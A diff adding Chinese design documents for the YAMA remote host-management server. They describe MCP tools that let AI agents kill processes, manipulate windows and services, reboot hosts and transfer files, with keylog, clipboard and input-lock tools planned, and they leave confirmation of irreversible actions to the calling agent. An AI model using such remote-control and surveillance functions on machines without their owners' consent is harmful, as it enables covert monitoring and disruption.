+| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2`（`FileCompletePacketV2.fileIndex`） | 会话记 `totalFiles`（首 chunk）/`filesDone`（complete 计数），`filesDone==totalFiles` 才算 done |
+| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内，逃逸即取消传输 |
+| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`；客户端 M2C `hmac` 为空（`FileManager.cpp:1167`） |
+| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」，C2C 分支不动 | 结构性满足原则 #1，对既有 GUI/C2C 零影响 |
+
+**判定**：7 项问题均已在正文对应章节修正，无阻塞项，**定稿**。
+
+### 13.1 upload_file 评审记录（P2，实施前）
+
+核对了 `2015RemoteDlg.cpp` 的 `SendFilesToClientV2Internal`/`SendFileChunkToClientV2`（GUI upload 发送方）、`SimplePlugins/file_upload.cpp` 的 `FileBatchTransferWorkerV2`/`RecvFileChunkV2`、`client/KernelManager.cpp:1381` 的接收分支，结论：
+
+| # | 审查发现 | 结论 |
+|---|---|---|
+| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验，无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE，不是「等」 |
+| U2 | upload 走**主连接**（`ctx->Send2Client`），不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动；无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
+| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度，`m_parent->FindHost(clientID)` 定位 ctx；离线返回 false 中止 |
+| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`（与 GUI `SendFilesToClientV2Internal` 末尾一致）；`output.sha256` 恒为空串，非接收方验真（见 §7.5） |
+| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`，过滤同名进 `skipped` |
+| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出，改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现（目录项在前、子项随后） |
+| U7 | 实施验证发现：客户端主连接 `g_status==0`，`RecvFileChunkV2` 逐 chunk `return -1`（上传落盘 0 字节/截断） | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化（§7.8）：`static` 一次 + 永久引用计数、析构不 `Uninit`；与 `FileManager.cpp:40` 参数一致，独立评审确认无稳定性风险 |
+
+**判定**：7 项均已写入 §7 对应小节，无阻塞项，**定稿**。

docs/Mcp_Manage_Design.md

@@ -0,0 +1,219 @@
+# MCP P7 设计：设备管理控制（kill / window / service / power）
+
+> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`（P2）→ P3/P4/P5/P6 的阶段演进。
+> 本文定义 P7：把 YAMA 服务端高频「控制类」操作 MCP 化，补上从「观测」到「管控」的短板，
+> 服务「自然语言即可操作服务端、对受管设备全方位管控」的最终目标。
+>
+> 安全门结论（已确认）：新增**单一 `McpManage` 开关**统一门控本阶段全部控制类工具，
+> 并要求 `McpReadonly=0`；不再为每个工具单设开关。
+
+## 1. 目标与范围
+
+P7 交付 4 个控制类工具，覆盖服务端日常最常用的写操作：
+
+| 工具 | 动作 | 命令 | 连接 | 确认方式 |
+|---|---|---|---|---|
+| `kill_process` | 结束进程（多 pid） | `COMMAND_KILLPROCESS` | 系统子连接 | 补发 `COMMAND_PSLIST` 收新列表 |
+| `operate_window` | 关闭/显示/隐藏/最小化/最大化/还原 | `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | 窗口子连接 | close 自动回 `TOKEN_WSLIST`；test 补发 `COMMAND_WSLIST` |
+| `control_service` | 启动/停止/设为自动/设为手动 | `COMMAND_SERVICECONFIG` | 服务子连接 | 客户端每项 Sleep(500) 后自动 `SendServicesList` |
+| `power_action` | 注销/关机/重启 | `TOKEN_MACHINE_MANAGE` | 主连接 | 发完即走（无响应） |
+
+仅 Windows 客户端支持（`clientType` 为 LNX/MAC/**APK** 提前返回 `-32005`；注意 `list_services`
+只排除了 LNX/MAC、漏掉 APK，P7 需把 APK 一并排除）。
+
+## 2. 复用现状
+
+P7 **不改客户端**。客户端已全部实现下列处理（MFC 界面在跑），MCP 侧只需补齐
+「发命令 → 接管子连接 → 发写命令 → 收确认 → 关闭」这条链：
+
+- 系统子连接：`COMMAND_SYSTEM`（进程）/ `COMMAND_WSLIST`（窗口）→ 客户端开 `CSystemManager`
+  子连接（`client/KernelManager.cpp` 1169/1182，`client/SystemManager.cpp`）。
+- `COMMAND_KILLPROCESS`：`CSystemManager::KillProcess`（`TerminateProcess`，无回包）。
+- `CMD_WINDOW_CLOSE`：`PostMessage(hWnd, WM_CLOSE)` 后自动 `SendWindowsList`。
+- `CMD_WINDOW_TEST`：`ShowWindow(hwnd, dHow)`（不自动回包）。
+- `COMMAND_SERVICECONFIG`：`CServicesManager::ServicesConfig`（`client/ServicesManager.cpp` 213），
+  bCmd=1 启动 / 2 停止 / 3 自动 / 4 手动，每项后 `Sleep(500)` + `SendServicesList`。
+- `TOKEN_MACHINE_MANAGE`：`KernelManager.cpp` 872，`ExitWindowsEx`（注销/关机/重启）。
+
+复用现有 MCP 基建（`server/2015Remote/McpServer.{h,cpp}`）：
+
+- `ParseHostIdArg` / `FindMainContext`：入参解析 + 主连接定位。
+- `BeginPending` / `WaitPending` / `ClearPending` / `TakeMainResponse`：单飞行挂起 + 响应回收。
+- `OnRegeditReady`：已示范「接管子连接 → 发后续命令」的范式（P3 list_registry 三阶段），P7 直接泛化。
+
+## 3. 子连接生命周期（P7 核心新增）
+
+写工具与只读工具的关键差异：只读工具「子连接回一包即完成」，写工具需要
+「**接管子连接 → 发写命令 → 收确认 → 关闭**」。在现有 `PendingRequest` 上增加
+`followUp`（接管后要发的写命令 payload，二进制）+ `followUpSent`（是否已发写命令）两个字段：
+
+```
+followUpSent == false  →  等子连接就绪（首包 TOKEN_*LIST 到达 = 就绪）
+followUpSent == true   →  已发写命令，等确认包
+```
+
+> 关键事实（已核实）：三个工具各自的「就绪 token」与「确认 token」**是同一个 token**——
+> 客户端子连接构造即回一包（就绪），写操作后再回一包（确认）。因此必须用 `followUpSent`
+> 区分这两次到达，而不能靠 token 区分。这也是它与 `list_registry`（PATH/KEY 两个不同 token）
+> 的差别。
+
+流程（以 `kill_process` 为例）：
+
+1. 工具线程 `BeginPending(devId, "kill_process")` 登记单飞行（false = 设备忙），并预填
+   `followUp`（`COMMAND_KILLPROCESS` 多 pid 包）。
+2. 主连接发 `COMMAND_SYSTEM`。
+3. 客户端开系统子连接，首包 `TOKEN_PSLIST` 到达 → `MessageHandle` 调新增的
+   `OnSystemReady(devId, subCtx)`（类比 `OnRegeditReady`）：
+   - 命中挂起且 `followUpSent==false` → 保存 `subCtx`、置 `followUpSent=true`、向子连接发
+     `followUp`，随后补发 `COMMAND_PSLIST` 索取新列表。
+4. 客户端杀进程后回第二个 `TOKEN_PSLIST` → `TakeMainResponse` 取走（`followUpSent==true`
+   命中）→ 关闭子连接（`CancelIO`）→ 唤醒工具线程。
+5. 工具线程解析新进程列表返回；超时/失败走 `ClearPending`（**含 `subCtx->CancelIO()`**，防孤儿子连接）。
+
+> 注意：`followUp`（写命令）与「补发的 `COMMAND_PSLIST`/`COMMAND_WSLIST`」必须是**两次独立的
+> `Send2Client` 调用**，不能拼成一个 buffer——客户端 `OnReceive` 按 `szBuffer[0]` 单命令分发，
+> 拼包会把后续字节当成 pid/hwnd 解析。
+
+接管函数（进程/窗口共用同一个 `OnSystemReady`——两者都在同一个 `CSystemManager` 子连接上，
+客户端 `OnReceive` 统一处理 `COMMAND_PSLIST`/`COMMAND_KILLPROCESS`/`COMMAND_WSLIST`/
+`CMD_WINDOW_CLOSE`/`CMD_WINDOW_TEST`）：
+
+| 工具 | 开子连接命令 | 就绪包（首包） | 接管后写命令 | 确认包（第二包） |
+|---|---|---|---|---|
+| `kill_process` | `COMMAND_SYSTEM` | `TOKEN_PSLIST` | `COMMAND_KILLPROCESS` + 补 `COMMAND_PSLIST` | `TOKEN_PSLIST` |
+| `operate_window` | `COMMAND_WSLIST` | `TOKEN_WSLIST` | `CMD_WINDOW_CLOSE`（close 自动回）；`CMD_WINDOW_TEST`（test 补 `COMMAND_WSLIST`） | `TOKEN_WSLIST` |
+| `control_service` | `COMMAND_SERVICES` | `TOKEN_SERVERLIST` | `COMMAND_SERVICECONFIG`（客户端写后自动 `SendServicesList`） | `TOKEN_SERVERLIST` |
+
+`MessageHandle` 现有分派点（均已核实）：
+
+- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支：`2015RemoteDlg.cpp:6540`（当前 `TakeMainResponse`+`CancelIO`）
+- `TOKEN_SERVERLIST` 分支：`2015RemoteDlg.cpp:6585`（同上）
+
+接入方式：在这两个分支的 `IsPending(devId)` 命中后，**先按 `pending.tool` 判断是否为
+写工具（kill/operate/control_service）**；是则调 `OnSystemReady`/`OnServiceReady`（返回 true
+= 已接管、不 `CancelIO`），否则沿用现有 `TakeMainResponse`+`CancelIO`。与 `TOKEN_REGEDIT`
+分支调用 `OnRegeditReady`（`2015RemoteDlg.cpp:6561`）的写法一致，避免与人工界面抢子连接。
+
+## 4. 工具 schema
+
+### 4.1 `kill_process`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填，主机 id）",
+  "pids": ["integer 数组（必填，至少 1 个进程 PID）"] }
+// outputSchema
+{ "remaining": ["integer 数组（杀完后仍在运行的 PID）"] }
+```
+
+- payload：`[COMMAND_KILLPROCESS:1][pid:4]*N`（DWORD 小端，与 `SystemDlg::OnPlistKill` 一致）。
+- 成功判定：返回 `remaining`（发 `COMMAND_PSLIST` 后进程列表里已不含目标 pid 即视为成功）。
+- 描述需写明：`TerminateProcess` 强制结束、不保存进程状态，可能造成数据丢失。
+
+### 4.2 `operate_window`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填）",
+  "hwnd": "integer（必填，窗口句柄，取 list_windows 返回的 hwnd）",
+  "action": "string（必填）close|show|hide|minimize|maximize|restore" }
+// outputSchema
+{ "ok": "boolean" }
+```
+
+- payload（与 `SystemDlg::OnWlistClose/OnWlistHide/OnWlistRecover/OnWlistMax/OnWlistMin` 一致，
+  **固定 20 字节零填充 `BYTE lpMsgBuf[20]`，hwnd 一律按 `DWORD`（4 字节）小端写入 offset 1**）：
+  - `close` → `[CMD_WINDOW_CLOSE:1][hwnd:4]`（客户端 `PostMessage WM_CLOSE`）。
+  - 其余 → `[CMD_WINDOW_TEST:1][hwnd:4][dHow:4]`，dHow 映射（MFC 实测值）：
+    `hide=SW_HIDE(0)` / `show=SW_NORMAL(1)` / `restore=SW_NORMAL(1)` /
+    `maximize=SW_MAXIMIZE(3)` / `minimize=SW_MINIMIZE(6)`。
+- 缓冲器必须补零到 20 字节：客户端 `close` 分支读 `*((HWND*)(szBuffer+1))`，在 x64 是 8 字节，
+  而服务端只写了 4 字节 hwnd——正是 20 字节零填充补齐了高 4 字节，读出的 HWND 才是正确值；
+  若 MCP 发最小 5 字节包，会越界读。`test` 分支（`TestWindow`）读 `[hwnd:4][dHow:4]` 共 9 字节，
+  20 字节缓冲也足够。MFC 固定发 `lpMsgBuf[20]` 正是为此，MCP 照搬。
+
+### 4.3 `control_service`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填）",
+  "service_name": "string（必填，服务名，取 list_services 返回的 service_name）",
+  "action": "string（必填）start|stop|set_auto|set_manual" }
+// outputSchema
+{ "ok": "boolean" }
+```
+
+- payload：`COMMAND_SERVICECONFIG [cmd:1][bCmd:1][serviceName\0]`，
+  bCmd：`start=1` / `stop=2` / `set_auto=3` / `set_manual=4`。
+- 边界：客户端 `ServicesManager` 仅实现这 4 项；**无** pause / continue / delete
+  （它们属于 `MachineDlg` 机器管理的另一条链路，留待 P8 评估）。
+
+### 4.4 `power_action`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填）",
+  "action": "string（必填）logout|shutdown|reboot" }
+// outputSchema
+{ "ok": "boolean" }
+```
+
+- payload：`TOKEN_MACHINE_MANAGE [token:1][type:1]`，type：`logout=0` / `shutdown=1` / `reboot=2`
+  （`enum MachineCommand` 顺序）。MFC 发的是 32 字节缓冲（`2015RemoteDlg::MachineManage`），
+  但客户端只校验 `ulLength>1` 并读 `szBuffer[1]`，故 2 字节即可。
+- 走**主连接**、发完即走、无响应；主机将立即离线。描述需明确「不可撤销、主机下线」。
+- 需客户端管理员权限（`EnableShutdownPrivilege`），无权限时客户端静默忽略（同 MFC 现状）。
+- **仅 Windows 客户端**：Linux 侧文档写的是 `COMMAND_SESSION`（`linux/README.md`），但代码中
+  未发现对应 handler，即 Linux 实际未实现电源操作——`power_action` 对 LNX/MAC/APK 一律返回
+  `-32005`，不尝试发送。
+
+## 5. 安全门（单一 `McpManage` 开关）
+
+- 新增配置键 `settings/McpManage`（默认 `0`，关闭）。
+- 生效条件：`McpManage=1` 且 `McpReadonly=0`；二者任一不满足即隐藏 4 个工具。
+- 双保险：`tools/list` 隐藏 + 每个 `BuildXxx` 入口二次校验（与 `exec_command` 的
+  `IsReadonly()` 双保险一致）。
+- `McpSettingsDlg` 增加「管理操作（进程/窗口/服务/电源）」复选框，写入 `THIS_CFG`。
+- 审计：每次写操作写入服务端审计日志（`get_audit_log` 可见），记录 tool + host id + 参数摘要 + 结果。
+
+## 6. 单飞行与并发约束
+
+- 沿用现有约束：同 host 同一时刻只允许一个 MCP 挂起请求（`BeginPending` 保证）。
+- 写工具与只读工具共用 `m_Pending`，天然互斥；与 MFC 对话框并存（各用独立子连接，互不干扰）。
+- 超时沿用 `kMcpToolTimeoutMs = 20000`；`power_action` 因无响应、发完即返回成功。
+
+## 7. 边界与风险
+
+1. **杀进程/关机/重启不可逆**：描述与审计都需显著标注；不提供「确认对话框」，
+   确认责任在调用方（MCP 客户端/LLM agent）。
+2. **kill 无客户端回执**：成功与否靠「新进程列表不含目标 pid」推断，`TerminateProcess`
+   失败（权限不足等）时进程仍在 `remaining`，由调用方判断。
+3. **服务操作仅 4 项**：pause/continue/delete 缺省，如需需评估 `MachineDlg` 链路。
+4. **窗口句柄时效**：hwnd 可能已失效（窗口已关闭），客户端 `PostMessage/ShowWindow`
+   对失效句柄静默无操作，`operate_window` 的 `ok=true` 只表示「已下发」。
+5. **子连接竞态**：写工具接管子连接后若客户端断线，`OfflineProc` 调 `OnManageSubClosed`
+   清理挂起（置 done 并清 `subCtx`、唤醒等待线程；**不擦表**，由 `WaitPendingWrite` 自行擦除，
+   防迭代器失效）。清 `subCtx` 是关键——context 对象被连接池回收复用，若超时路径仍对旧指针
+   `CancelIO` 会误伤新连接（与 `OnTerminalClosed`/`OnScreenControlClosed` 同理）。
+
+## 8. P8 / P9 路线图（后续）
+
+- **P8 文件与信息面**：`delete_file/delete_directory`、`create_folder`、`rename_file`、
+  `open_file`；`list_network_connections`、`list_software`、`get/set_hosts`、
+  `list_scheduled_tasks`(+增删启停)、`get_keylog`。
+- **P9 进阶与 NL 增强**：`set/delete_registry`、`screen_blank`/`lock_input`/`get_clipboard`、
+  `open_url`/`send_message`；**批量操作**（`ids[]`/`group` 维度）；离线主机枚举
+  `list_all_hosts`。
+
+## 9. 实现与验证记录（2026-10-01）
+
+已实现并端到端验证（真实客户端 DESKTOP-A55C0OI / Windows 10 / VMware，id=3441387693643366974）：
+
+- `kill_process` → `remaining:[]`；`operate_window`(restore) → `ok:true`；
+  `control_service`(set_manual AJRouter) → `ok:true`；`power_action`(reboot) → `ok:true`（发完即走）。
+  三个写工具的确认包（第二个 `TOKEN_*LIST`）均正常到达，列表均 >1460 字节触发 HTTP 分片。
+- 落地：`McpManage` 开关 + `McpReadonly=0` 双保险；`McpSettingsDlg` 增「管理操作」复选框；
+  主工具栏增 `MCP` 入口按钮（`ID_MCP_SETTINGS`）；en/de/zh-TW 三语文案同步。
+- 前置解析 bug（验证中暴露，已单独提交 `a72e6eb`）：`HeaderParser::Parse` 的
+  `m_bShouldUnmask` 在 HTTP 分片续包上被误置 `FALSE`，导致写工具的确认包被
+  `PARSER_FAILED` 丢弃（「首包能到、后续包到不了」）；修复为 `else if (m_bShouldUnmask != TRUE)`。

docs/Mcp_Phase2_Design.md

@@ -0,0 +1,486 @@
+# YAMA MCP 功能开发技术书（Phase 2 及后续）
+
+> **状态**：设计定稿（已按两轮评审修订）；P2a、P2b 已实现并经真实主机验证（`search_hosts` / `get_host_detail` / `list_processes` / `list_windows` / `get_activity_history`）；P2c 已实现（`get_screenshot` / `list_files`）；P2d 已实现并验证（`list_services` / `get_client_log`）。
+> **读者**：MCP 后续功能的研发/评审人员。
+> **关联文档**：[Mcp_Design.md](./Mcp_Design.md)（Phase 1 的协议、架构、配置与菜单设计）。
+> **核心目标**：让 MCP 从「单个只读工具」平滑演进为「分阶段、可回滚、影响面可控」的工具集，**不一次性大改现有功能**。
+
+---
+
+## 1. 背景与目标
+
+Phase 1 已跑通 MCP 最小闭环：`httplib` + JSON-RPC 2.0，单工具 `list_online_hosts`，静态 Bearer token，经「扩展 → MCP设置」对话框开启。目标是把 YAMA 服务端已有的主机管理能力（进程、窗口、终端、截图、文件等）**逐步**暴露为 MCP 工具，供 Claude Code 等 AI 助手以工具调用方式使用。
+
+本技术书解决三个问题：
+
+1. **做什么**——工具路线图与优先级（只读 → 安全写 → 会话）。
+2. **怎么做**——复用现有协议，无头驱动、不弹对话框；**区分「主连接 RPC」与「子链接流式」两种模式**。
+3. **怎么稳**——每个阶段独立可交付、可回滚，影响面小、可验收。
+
+---
+
+## 2. 现状回顾（Phase 1 已交付）
+
+| 模块 | 文件 | 职责 |
+|------|------|------|
+| HTTP/JSON-RPC 分发 | `McpServer.h` / `McpServer.cpp` | `POST /mcp`；token 校验；`initialize`/`ping`/`tools/list`/`tools/call` |
+| 工具序列化复用 | `HostJson.h` / `HostJson.cpp` | `BuildHostJson(ctx, clientMap)`，单主机 JSON（与 WebService 共用） |
+| 配置对话框 | `McpSettingsDlg.h` / `.cpp` | 运行时构造对话框：enable/port/bind/token |
+| 生命周期接入 | `2015RemoteDlg.cpp:2136-2162`（启动）、`3900-3906`（停止） | 随主对话框启停 |
+| FRP 暴露 | `2015RemoteDlg.cpp:3269-3304` | MCP 端口仅在「启用 + 绑 `0.0.0.0`」时纳入 FRP |
+
+关键结论：**MCP 未引入任何新第三方库**——`httplib`（HTTP）与 `jsoncpp`（JSON）均为项目既有依赖。
+
+当前工具实现只有一个 dispatch 分支（`McpServer.cpp` 的 `BuildToolsCall`），新增工具的边际成本很低：**注册 `outputSchema` + 加一个 `tools/call` 分支**。
+
+---
+
+## 3. 设计原则（贯穿所有后续开发）
+
+1. **只读优先，写操作单独评审**：延续 `Mcp_Design.md §1.3`。只读工具直接做；任何「改变被控端状态」的工具（命令执行、杀进程、传文件、控制）必须经安全评审 + 独立授权。
+2. **复用现有协议，不新造命令**：一切数据获取/操控都走 `common/commands.h` 里既有的 `COMMAND_*`（服务端→客户端）与 `TOKEN_*`（客户端→服务端），不新增自定义命令。
+3. **无头接管复用 Web 终端模式**：对话框只是 UI 外壳；MCP 复用 `WebService` 的挂起标记/接管模式，把数据接到 MCP 侧，**不弹框**。
+4. **每阶段独立可交付、可回滚**：一个阶段 = 一批工具 + 对应验收；出错可单独 revert，不连坐。
+5. **超时与清理是硬约束**：MCP 是 request/response，一次 `tools/call` 不能无限阻塞等数据；必须有超时、迟到回收、用完即关。
+6. **输出 schema 先行**：每个工具先在 `tools/list` 里声明完整 `inputSchema`/`outputSchema`，AI 客户端据此决定何时调用、如何解析。
+
+---
+
+## 4. 核心机制：无头驱动（双模式）
+
+> **本节是本技术书的关键**。此前设计把「进程/窗口/截图」误当作「子链接」，评审后纠正为：这些是**主连接 request/response**；真正走子链接的只有终端、完整屏幕、文件传输等大流量/持续流能力。两者实现机制不同，必须分开建模。
+
+### 4.1 连接模型：主连接 vs 子链接
+
+`common/commands.h` 定义了完整协议，分两层：
+
+- **主连接**：客户端上线后与主控保持的长连接。承载心跳（`TOKEN_HEARTBEAT`）、命令下发，以及**轻量 request/response**——屏幕预览缩略图（`TOKEN_SCREEN_PREVIEW_RSP`）、历史活动（`TOKEN_REPORT_ACTIVITY`）等。响应以 `TOKEN_*` 回到主连接（捕获点见 §4.2）。
+- **子链接**：屏幕、终端、文件传输、**进程/窗口列表**等功能，服务端下 `COMMAND_*` 后客户端**新建一条 TCP 子链接**回连，数据以 `TOKEN_*` 开头，作为一个**新的 `CONTEXT_OBJECT`** 进入分派。其中进程/窗口列表是**一次性子链接**（回一条 `TOKEN_PSLIST`/`TOKEN_WSLIST` 即关，见 §4.2 模式 A′），终端/屏幕/文件传输则是**持续流子链接**。
+
+两者都由同一个 `MessageHandle(CONTEXT_OBJECT*)` 分派，靠 `ContextObject->GetClientID()` 关联到同一台主机。**判断一个 `TOKEN_*` 属于哪层，看它的数据落在哪个 context 上**：
+
+| 证据 | 结论 |
+|------|------|
+| 客户端 `KernelManager.cpp:1156` `COMMAND_SYSTEM` → `new IOCPClient` 子链接 + `LoopProcessManager`；`SystemManager.cpp:75` `GetProcessList()` 里 `szBuffer[0]=TOKEN_PSLIST`，经子链接 `Send2Server` 回传 | 进程/窗口列表 = **一次性子链接**（主连接下 `COMMAND_SYSTEM`/`COMMAND_WSLIST`，子连接回 `TOKEN_PSLIST`/`TOKEN_WSLIST`） |
+| `2015RemoteDlg.cpp:8527-8536`：`SendScreenPreviewRequest` 用 `ctx->Send2Client(...)`；响应 `TOKEN_SCREEN_PREVIEW_RSP` 在 `MessageHandle:6173` | 屏幕预览 = **主连接 RPC** |
+| `WebService.cpp:1836-1900` + `2015RemoteDlg.cpp:6312-6351`：`COMMAND_SHELL` → 客户端建 shell 子上下文 → `TOKEN_SHELL_START`/`TOKEN_TERMINAL_START` | 终端 = **子链接** |
+
+### 4.2 模式 A：主连接 RPC（截图 / 历史活动）
+
+适用于：`get_screenshot`（屏幕预览）、`get_activity_history`（历史活动）。
+
+```
+MCP 工具 tools/call
+  └─► 主 context ctx = FindHost(device_id)
+        └─► ctx->Send2Client(COMMAND_*)                  // 主连接发 1 字节命令
+客户端处理后在主连接回 TOKEN_*
+  └─► MessageHandle 收到 TOKEN_*（数据已在 ctx->InDeCompressedBuffer）
+        ├─ if (McpServer().IsPending(devId))
+        │      McpServer().TakeMainResponse(devId, ctx->GetBuffer(0), ctx->GetBufferLength()); // IO 线程同步拷贝
+        │      break;                                    // 跳过 MFC 弹框（不 CancelIO，主连接不可关）
+        └─ 否则走原 MFC 路径（如打开历史活动对话框）
+```
+
+要点：
+
+- **无子链接、无 subCtx**：数据就在主 context 缓冲里，MCP 只需在 `MessageHandle` 的对应 `TOKEN_*` 分支里**同步拷贝**到结果缓冲，再唤醒等待者。
+- **不 CancelIO**：响应落在主连接上，关闭会断开整个主机会话；故拦截后仅 `TakeMainResponse` + `break`，主连接保持。
+- **捕获点因工具而异（必须在 IO 线程同步拷贝）**：屏幕预览的 `TOKEN_SCREEN_PREVIEW_RSP` **直接读本消息的 `szBuffer`/`len`**（`2015RemoteDlg.cpp:6173-6185` 已在 case 内把 `szBuffer` 拷贝到堆消息再转主线程）；历史活动的 `TOKEN_REPORT_ACTIVITY` 读 `GetBuffer(0)`（= `InDeCompressedBuffer`）。两者都是每 context 单消息缓冲，主连接 recv 循环处理完本条消息后即被覆盖，故拷贝必须发生在 `MessageHandle` 内部（IO 线程），不能异步等 UI 线程。
+- **请求关联**：`get_screenshot` 有 `reqId`（`ScreenPreviewReq.reqId`）可丢弃过期响应；`get_activity_history` **无请求 id**，靠「每 host 单飞行」（见 §4.4）保证正确性。
+
+### 4.2′ 模式 A′：一次性子链接（进程 / 窗口列表）
+
+适用于：`list_processes`、`list_windows`。**这是本技术书相对原设计的重要纠正**：进程/窗口列表**不是**主连接 RPC，而是一次性子链接——`COMMAND_PSLIST` 在主连接上是空操作（客户端 `KernelManager::OnReceive` 无此 case），正确的触发命令是 `COMMAND_SYSTEM`（进程）/`COMMAND_WSLIST`（窗口）。
+
+```
+MCP 工具 tools/call
+  └─► 主 context ctx = FindHost(device_id)
+        └─► ctx->Send2Client(COMMAND_SYSTEM / COMMAND_WSLIST)   // 主连接发 1 字节命令
+客户端 KernelManager::OnReceive 收到后新建一条子链接（new IOCPClient，EnableSubConnAuth）
+  └─► 子链接 ConnectServer 后先发 TOKEN_CONN_AUTH（服务端 SetID 把 clientID 钉在子 context 上）
+        └─► CSystemManager 构造函数立即 Send2Server(TOKEN_PSLIST / TOKEN_WSLIST)
+  └─► MessageHandle 在【子 context】上收到 TOKEN_PSLIST / TOKEN_WSLIST（GetClientID()==主 host id）
+        ├─ if (McpServer().IsPending(devId))
+        │      McpServer().TakeMainResponse(devId, GetBuffer(0), GetBufferLength());
+        │      ContextObject->CancelIO();       // 用完即关一次性子链接（不关会泄漏）
+        │      break;                           // 跳过 WM_OPENSYSTEMDIALOG
+        └─ 否则 g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, ...)  // MFC 路径
+```
+
+要点：
+
+- **有子链接、有 subCtx**：数据落在子 context 上，非主 context。子 context 的 `GetClientID()` 已由 `TOKEN_CONN_AUTH`（`2015RemoteDlg.cpp:6291` 的 `SetID`）钉成主连接 clientID，故 `IsPending(devId)` 能与主 context 的 `device_id` 对上。
+- **用完即关**：MCP 拦截后 `CancelIO()` 关闭子链接（客户端 IOCPClient 以 `exit_while_disconnect=true` 构造，会随断开退出）；不关会泄漏子链接。
+- **与 MFC 对话框可并存**：MCP 与 MFC 对话框**各自使用独立的子链接**（客户端每次 `COMMAND_SYSTEM`/`COMMAND_WSLIST` 都新建一条），因此两者互不阻塞——MCP 的一次性调用不会导致 MFC 无法查看进程/窗口，反之亦然。无请求 id 的串扰靠「每 host 单飞行」（§4.4）规避，而非「与 MFC 对话框互斥」。
+- **编码**：进程名/路径按 clientType 判定（Windows=GBK/936、LNX/MAC=UTF-8，进程枚举走 A 接口不随 `CLIENT_CAP_UTF8` 转 UTF-8）；窗口标题为客户端 UTF-8（按能力位 `CLIENT_CAP_UTF8` 判别，老客户端回落 CP936）。
+- **请求关联**：无请求 id → 每 host 单飞行（§4.4）。
+
+- **文件列举也走 A′（`list_files`）**：列盘与进程/窗口同构（`COMMAND_LIST_DRIVE`→一次性子链接→`TOKEN_DRIVE_LIST` 即关）；列目录则在此一次性子链接上**多一轮** `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后再关。故 `list_files` 归入模式 A′，而非原设计的模式 A（详见 §6.3）。
+
+> **模式 A0（主连接单向命令，无响应）**：`kill_process`（`COMMAND_KILLPROCESS`）、`send_message`（`COMMAND_TALK`）这类「发完即走」的命令没有 MCP 需要的响应数据，**不需要** §4.4 的挂起注册表/超时/单飞行——`Send2Client` 后直接返回成功。它是模式 A 的退化情形，实现最简单。
+
+### 4.3 模式 B：子链接流式（终端 / 完整屏幕 / 完整文件）
+
+适用于：`exec_command`（终端），以及未来的实时远程桌面、完整文件传输。
+
+```
+MCP 工具 tools/call
+  └─► 登记挂起请求 m_Pending[device_id]（标记 mode=B）
+  └─► ctx = FindHost(device_id); ctx->Send2Client(COMMAND_SHELL)   // 主连接下命令
+客户端建 shell 子链接
+  └─► MessageHandle 收到 TOKEN_SHELL_START / TOKEN_TERMINAL_START
+        ├─ if (McpServer().IsPending(devId))
+        │      McpServer().TakeSubContext(devId, ContextObject);   // 接管子上下文
+        │      break;                                              // 跳过弹框
+        └─ 否则弹 WM_OPENSHELLDIALOG
+后续 shell 输出
+  └─► MessageHandle 顶部 IsTerminalContext 分支 → McpServer().OnShellData(...) 泵数据
+```
+
+完全复刻 `WebService` 的 `IsTermPending`/`RegisterTerminalContext`/`OnTerminalData` 模式（`WebService.h:283-287`），但**不复用其长会话状态**——MCP 是「一次性：建链 → 收发 → 关链」。
+
+### 4.4 统一挂起请求注册表
+
+模式 A（主连接 RPC）与模式 A′（一次性子链接）共用一个按 `device_id`（= `context::GetClientID()`）索引的注册表。**当前实现（P2b）只覆盖 A/A′ 两种「一次性响应」**，故结构里只有 `data` + `done`，无需 `mode`/`subCtx`/`timedOut`；未来 P3a 的 `exec_command`（模式 B 流式）再扩展 `subCtx` 字段。
+
+```cpp
+struct PendingRequest {
+    std::string       tool;
+    std::vector<BYTE> data;   // 结果缓冲（MessageHandle 内同步拷贝的字节）
+    bool              done = false;
+};
+std::mutex              m_PendingMutex;
+std::condition_variable m_PendingCv;
+std::map<uint64_t, PendingRequest> m_Pending;   // 受 m_PendingMutex 保护
+```
+
+暴露给 `MessageHandle` 的钩子：
+
+- `bool IsPending(uint64_t device_id)` —— 该 `TOKEN_*` 是否为 MCP 触发。
+- `void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len)` —— 模式 A/A′：拷贝缓冲、`done=true`、唤醒 `cv`（在 IO 线程阻塞期间同步调用，拷贝安全）。
+
+工具线程侧的方法：
+
+- `bool BeginPending(uint64_t device_id, const std::string& tool)` —— 登记挂起（`false` = 该 host 已有挂起，返回「设备忙」）。
+- `bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs)` —— 等待响应（超时/失败自动清理并返回 `false`）。
+- `void ClearPending(uint64_t device_id)` —— 提前退出路径的清理。
+
